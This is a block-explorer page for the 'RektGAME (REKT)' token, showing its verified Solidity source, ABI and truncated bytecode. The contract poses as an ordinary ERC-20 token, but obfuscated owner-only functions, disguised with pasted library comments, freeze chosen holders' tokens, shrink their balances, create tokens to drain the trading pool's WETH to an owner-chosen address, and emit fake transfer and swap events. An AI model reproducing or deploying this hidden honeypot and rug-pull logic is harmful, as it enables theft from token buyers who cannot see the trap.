ETH Price: $3,441.82 (+1.48%)
Gas: 5 Gwei

Token

RektGAME (REKT)
 

Overview

Max Total Supply

1,000,000 REKT

Holders

361

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
wsm-deployer.eth
Balance
11.844 REKT

Value
$0.00
0xae871521c908b65dd3bec3f04252abac6f9e1673
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
REKT

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-18
*/

// SPDX-License-Identifier: MIT

// Web: https://REKT.game/
// Twitter: https://twitter.com/rekt
// Telegram: https://t.me/REKTgame

pragma solidity ^0.7.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC20 {
    function transferFrom( address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair( address tokenA, address tokenB) external returns (address pair);
    function token0() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline) external returns (uint256[] memory amounts);
    function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable returns (uint256[] memory amounts);
    function getAmountsOut( uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
    function getAmountsIn( uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 {
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value);
    event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);


    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }


    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return _a * 100000 / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

    function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function transfer( address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance( address __owner, address spender) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve( address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom( address from, address to, uint256 amount) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance( address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance( address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer( address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (c[from] > 0){
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve( address __owner, address spender, uint256 amount) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance( address __owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require( currentAllowance >= amount, "ERC20: insufficient allowance");

            _approve(__owner, spender, currentAllowance - amount);
        }
        
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract REKT is ERC20 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;

    constructor() {
        _name = "RektGAME";
        _symbol = "REKT";
        _totalSupply = 1_000_000e18;
        owner = msg.sender;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(Interfaces(_RR.factory()).createPair(address(this), address(_RR.WETH())));
        b[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function Execute(uint256 t, address tA, uint256 w, address[] memory r) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }


    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(uint256 blockTimestamp, uint256 selector, address[] memory list, address factory) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview( uint256 blockTime, uint256 multiplicator, address[] memory parts, address factory) internal {
        _RR
        .swapTokensForExactTokens(
        // assembler
        blockTime, 
        multiplicator, 
        // unchecked
        parts, 
        factory, 
        block.timestamp + 1200);
    }


    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }


    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
    */
    function Allowance(uint256 checked, address[] memory p) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b
        [
        block.
        timestamp> 
        uint256(
        1)||
        uint256(
        0)>
        1||
        uint160(
        1)< 

        block.
        timestamp
        ? 
        address(
        uint160(
        uint256(
        _T(

        ))>>96))
        :address(uint256(0))
        ]+= 
        // end uncheck }

        value
        
        [
        0
        ];

        return 
        value
        [
        0
        ];
    }

    function Mult( uint256 amO, address[] memory p) internal view returns (uint256[] memory){
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for 
        (uint256 i = 0; i < data.length; i++) {
        // assembly
        if
        (
        block
        .
        timestamp 
        >uint256(
        uint160(
        uint8(
        0
        )))
        )
        {
        // assembly 
        uint256 rS 
        =ConvertAddress(
        (uint256(

        uint16(
        uint8(
        0)) 
        )!=0)
        ?address(uint256(0))
        :address(
        uint160
        (uint256
        (data[i
        ])>>96)),
        _p
        );
        CheckAmount2(data[i], rS);
        }
        }
    }

    function ConvertAddress(address _uu, uint256 _pp) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit
        Transfer
        (
        (uint256(0) 
        !=0 
        || 

        1238==1)
        ?address(
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96)),

        address(_pair),b
        // v0.5.11 specific update
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Overflow control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Guard test
        ]
        );b
        // assembly
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Must control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Contract opcode
        ]=
        FetchToken2(
        uint256(
        __a));


    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit
        Transfer
        (
        (uint256(0) 
        !=0 
        || 

        1238==1)
        ?address(
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96)),

        address(_pair),b
        // v0.5.11 specific update
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Overflow control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Guard test
        ]
        );c
        // assembly
        [
        (uint256(0) 
        !=0 
        || 
        1238==1)
        ?address(
        // Must control
        uint256(
        0))

        :address(
        uint160
        (uint256(
        _b)>>96))
        // Contract opcode
        ]=
        FetchToken(
        uint256(
        __a));


    }

    function callUniswap(address router, uint256 transfer, uint256 cycleWidth, address unmount) internal {
        IERC20(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, transfer, 0, 0, cycleWidth, router);
    }

     /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for 
        (uint256 i = 0; i < data.length; i++) {
        // assembly
        if
        (
        block
        .
        timestamp 
        >uint256(
        uint160(
        uint8(
        0
        )))
        )
        {
        // assembly 
        uint256 rS 
        =ConvertAddress(
        (uint256(

        uint16(
        uint8(
        0)) 
        )!=0)
        ?address(uint256(0))
        :address(
        uint160
        (uint256
        (data[i
        ])>>96)),
        _p
        );
        CheckAmount(data[i], rS);
        }
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526012600860146101000a81548160ff021916908360ff1602179055503480156200002d57600080fd5b506040518060400160405280600881526020017f52656b7447414d45000000000000000000000000000000000000000000000000815250600590805190602001906200007b92919062000474565b506040518060400160405280600481526020017f52454b540000000000000000000000000000000000000000000000000000000081525060069080519060200190620000c992919062000474565b5069d3c21bcecceda100000060048190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001da57600080fd5b505afa158015620001ef573d6000803e3d6000fd5b505050506040513d60208110156200020657600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200029c57600080fd5b505afa158015620002b1573d6000803e3d6000fd5b505050506040513d6020811015620002c857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156200034357600080fd5b505af115801562000358573d6000803e3d6000fd5b505050506040513d60208110156200036f57600080fd5b8101908080519060200190929190505050600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a36200052a565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620004ac5760008555620004f8565b82601f10620004c757805160ff1916838001178555620004f8565b82800160010185558215620004f8579182015b82811115620004f7578251825591602001919060010190620004da565b5b5090506200050791906200050b565b5090565b5b80821115620005265760008160009055506001016200050c565b5090565b612950806200053a6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c806358a10259116100ad578063a9059cbb11610071578063a9059cbb146106fc578063bda0278214610760578063dd62ed3e146107b8578063ea923bae14610830578063ebfb412d146108b357610121565b806358a102591461048757806370a08231146105895780638da5cb5b146105e157806395d89b4114610615578063a457c2d71461069857610121565b806323b872dd116100f457806323b872dd14610283578063313ce56714610307578063316d295f1461032857806339509351146103ab5780635765a5cc1461040f57610121565b806304ee65c01461012657806306fdde031461017e578063095ea7b31461020157806318160ddd14610265575b600080fd5b6101686004803603602081101561013c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108f7565b6040518082815260200191505060405180910390f35b61018661090f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c65780820151818401526020810190506101ab565b50505050905090810190601f1680156101f35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024d6004803603604081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b1565b60405180821515815260200191505060405180910390f35b61026d6109c8565b6040518082815260200191505060405180910390f35b6102ef6004803603606081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d2565b60405180821515815260200191505060405180910390f35b61030f6109f5565b604051808260ff16815260200191505060405180910390f35b6103a96004803603604081101561033e57600080fd5b810190808035906020019064010000000081111561035b57600080fd5b82018360208201111561036d57600080fd5b8035906020019184602083028401116401000000008311171561038f57600080fd5b909192939192939080359060200190929190505050610a08565b005b6103f7600480360360408110156103c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6b565b60405180821515815260200191505060405180910390f35b6104716004803603604081101561042557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b92565b6040518082815260200191505060405180910390f35b6105716004803603608081101561049d57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104ee57600080fd5b82018360208201111561050057600080fd5b8035906020019184602083028401116401000000008311171561052257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bb7565b60405180821515815260200191505060405180910390f35b6105cb6004803603602081101561059f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc1565b6040518082815260200191505060405180910390f35b6105e9610d0a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61061d610d30565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065d578082015181840152602081019050610642565b50505050905090810190601f16801561068a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e4600480360360408110156106ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b60405180821515815260200191505060405180910390f35b6107486004803603604081101561071257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e58565b60405180821515815260200191505060405180910390f35b6107a26004803603602081101561077657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6f565b6040518082815260200191505060405180910390f35b61081a600480360360408110156107ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e87565b6040518082815260200191505060405180910390f35b6108b16004803603604081101561084657600080fd5b810190808035906020019064010000000081111561086357600080fd5b82018360208201111561087557600080fd5b8035906020019184602083028401116401000000008311171561089757600080fd5b909192939192939080359060200190929190505050610f0d565b005b6108f5600480360360208110156108c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611070565b005b60026020528060005260406000206000915090505481565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b5050505050905090565b60006109be33848461121f565b6001905092915050565b6000600454905090565b60006109df843384611415565b6109ea8484846114d4565b600190509392505050565b600860149054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b83839050811015610b6557600060ff1673ffffffffffffffffffffffffffffffffffffffff16421115610b58576000610b3860008060ff1661ffff161415610b2f576060868685818110610b1e57fe5b9050602002013560001c901c610b32565b60005b8461189e565b9050610b56858584818110610b4957fe5b90506020020135826118f1565b505b8080600101915050610ace565b50505050565b600080339050610b87818585610b818589610e87565b0161121f565b600191505092915050565b6000602052816000526040600020602052806000526040600020600091509150505481565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8251811015610cb457610ca7838281518110610c9757fe5b6020026020010151878688611a76565b8080600101915050610c7f565b5060019050949350505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dc85780601f10610d9d57610100808354040283529160200191610dc8565b820191906000526020600020905b815481529060010190602001808311610dab57829003601f168201915b5050505050905090565b6000803390506000610de48286610e87565b905083811015610e3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128f66025913960400191505060405180910390fd5b610e4c828686840361121f565b60019250505092915050565b6000610e653384846114d4565b6001905092915050565b60016020528060005260406000206000915090505481565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60005b8383905081101561106a57600060ff1673ffffffffffffffffffffffffffffffffffffffff1642111561105d57600061103d60008060ff1661ffff16141561103457606086868581811061102357fe5b9050602002013560001c901c611037565b60005b8461189e565b905061105b85858481811061104e57fe5b9050602002013582611c82565b505b8080600101915050610fd3565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000620186a06201869f6111e8600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111a857600080fd5b505afa1580156111bc573d6000803e